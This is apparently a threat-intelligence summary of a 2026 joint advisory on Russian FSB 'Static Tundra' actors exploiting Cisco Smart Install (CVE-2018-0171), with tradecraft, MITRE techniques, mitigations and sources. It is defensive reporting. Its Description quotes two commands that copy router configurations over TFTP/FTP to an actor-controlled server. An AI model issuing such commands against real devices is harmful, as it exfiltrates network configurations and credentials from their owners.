# NSA/FBI Joint Advisory: Disable Cisco Smart Install to Block Russian FSB "Static Tundra" Exploitation of CVE-2018-0171

> NSA, FBI, CISA, DoD Cyber Crime Center, and 14 international partner agencies issued joint advisory AA26-194A (July 9, 2026) attributing sustained exploitation of the legacy Cisco Smart Install feature (CVE-2018-0171, CVSS 9.8) to Russian FSB Center 16 actors tracked as Static Tundra, a group assessed as a sub-cluster of Energetic Bear / BERSERK BEAR. Unauthenticated attackers send crafted messages over TCP port 4786 to trigger device reloads, execute arbitrary code, or exfiltrate configurations from end-of-life Cisco IOS/IOS XE routers and switches across the Defense Industrial Base, communications, energy, financial services, government, and healthcare sectors.

- **Published:** 2026-07-13T00:00:00Z
- **Last reviewed:** 2026-07-13T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1279
- **ID:** TL-2026-1279
- **Severity:** CRITICAL (CVSS 9.8)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Actor:** Static Tundra (Russia)
- **Detections:** 9 · **IOCs:** 18 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2018-0171

## Description

On July 9, 2026, NSA, FBI, CISA, the DoD Cyber Crime Center (DC3), and 14 international partner agencies (Australia, Canada, New Zealand, UK, Czech Republic, Denmark, Estonia, Finland, France, Italy, Poland, Sweden) published joint advisory AA26-194A warning that Russian FSB Center 16 cyber actors, publicly tracked by Cisco Talos as "Static Tundra," are actively and broadly exploiting CVE-2018-0171, a seven-year-old critical vulnerability (CVSS 3.1: 9.8) in the Smart Install (SMI) feature of Cisco IOS and IOS XE software. Smart Install is a legacy zero-touch provisioning feature that listens on TCP port 4786; an unauthenticated remote attacker can send a malformed Smart Install message to trigger a buffer overflow (CWE-787) leading to a device reload, watchdog-initiated crash (denial of service), or arbitrary code execution, or to abuse the feature's design flaw (CWE-20, improper input validation) to alter device configuration directly.

Static Tundra is assessed with high confidence to be a Russian state-sponsored espionage actor and, with moderate confidence, a sub-cluster of Energetic Bear (aka BERSERK BEAR), a group publicly linked to the FSB's Center 16 unit in a 2022 U.S. Department of Justice indictment. The group has operated for over a decade (active since at least 2015) with an intensification of operations since 2021, and is assessed with moderate confidence to be associated with the historic 2015 "SYNful Knock" firmware implant campaign against Cisco routers.

Observed tradecraft follows a consistent pattern: actors first gain access to unpatched, end-of-life networking devices with Smart Install enabled and/or default or weak SNMP community strings ("public", "anonymous") exposed. They use SNMP to instruct the device to download a text file from actor-controlled infrastructure and append it to the running configuration, creating local accounts, modifying TACACS+ logging to reduce visibility, and establishing GRE tunnels for traffic redirection. Harvested configuration files, NetFlow data, and other device state are exfiltrated over outbound TFTP or FTP connections (e.g., `show running-config | redirect tftp://<actor-server>/conf_bckp` and `copy running-config ftp://<user>:<pass>@<actor-server>/output.txt`) to actor-controlled infrastructure, including IPs 185.141.24[.]222, 185.82.202[.]34, 185.141.24[.]28, and 185.82.200[.]181, active at various points between March 2023 and July 2025. Over the past year alone, the actors are assessed to have collected configuration files for thousands of networking devices associated with U.S. entities across critical infrastructure sectors. Cisco Talos reports the same activity cluster has separately targeted telecommunications, higher education, and manufacturing organizations across North America, Asia, Africa, and Europe, with intensified operations against Ukraine and its allies following the onset of the Russo-Ukrainian war in 2022. The campaign is related to, but distinct from, an April 2026 NSA/FBI warning on Russian GRU (APT28/Fancy Bear/Forest Blizzard) exploitation of TP-Link devices via CVE-2023-50224 ("Operation Masquerade"), and follows an August 2025 FBI Public Service Announcement (PSA250820) on the same Static Tundra activity.

The joint advisory recommends disabling Cisco Smart Install entirely (it has no legitimate use case in most production environments) or applying Cisco's March 2018 patch, migrating from legacy SNMPv1/v2c to SNMPv3, disabling Telnet in favor of SSH-only administrative access, enforcing Type 8 (password) and Type 6 (TACACS+ key) encryption, blocking TFTP/SMI/SNMP at the network perimeter, replacing default/weak credentials, auditing for unexpected configuration changes and logging gaps, and replacing unsupported end-of-life hardware.

## MITRE ATT&CK

- T1583.003 Virtual Private Server
- T1190 Exploit Public-Facing Application
- T1078 Valid Accounts
- T1110.001 Password Guessing
- T1136.001 Local Account
- T1601.001 Patch System Image
- T1685.002 Disable or Modify Cloud Log
- T1070.003 Clear Command History
- T1018 Remote System Discovery
- T1016 System Network Configuration Discovery
- T1570 Lateral Tool Transfer
- T1040 Network Sniffing
- T1119 Automated Collection
- T1205 Traffic Signaling
- T1572 Protocol Tunneling
- T1095 Non-Application Layer Protocol
- T1048 Exfiltration Over Alternative Protocol
- T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol
- T1495 Firmware Corruption
- T1529 System Shutdown/Reboot

## Sources

- [NSA Urges Organizations to Disable Cisco Smart Install as Russian Hackers Target Routers](https://cybersecuritynews.com/nsa-disable-cisco-smart/)
- [Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting (AA26-194A)](https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-194a)
- [Static Tundra: Russian state-sponsored espionage group compromises unpatched end-of-life network devices](https://blog.talosintelligence.com/static-tundra/)
- [FBI Warns FSB-Linked Hackers Exploiting Unpatched Cisco Devices for Cyber Espionage](https://thehackernews.com/2025/08/fbi-warns-russian-fsb-linked-hackers.html)
- [FBI: Russia-linked group Static Tundra exploit old Cisco flaw for espionage](https://securityaffairs.com/181347/intelligence/fbi-russia-linked-group-static-tundra-exploit-old-cisco-flaw-for-espionage.html)
- [Russian state cyber group Static Tundra exploiting Cisco devices, FBI warns](https://therecord.media/russia-cisco-fsb-static-tundra)
- [Russian FSB Center 16 exploits Cisco flaw in cyber espionage campaign to target critical infrastructure](https://industrialcyber.co/threats-attacks/russian-fsb-center-16-exploits-decade-old-cisco-flaw-in-cyber-espionage-campaign-to-target-critical-infrastructure/)
- [Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure (IC3 PSA250820)](https://www.ic3.gov/PSA/2025/PSA250820)
- [CVE-2018-0171 Detail](https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2018-0171)
- [Cisco IOS and IOS XE Software Smart Install Remote Code Execution Vulnerability (cisco-sa-20180328-smi2)](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2)
- [FSB Center 16 Exploited Default Router Passwords to Map Critical Infrastructure for Years](https://www.techtimes.com/articles/320356/20260713/fsb-center-16-exploited-default-router-passwords-map-critical-infrastructure-years.htm)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1279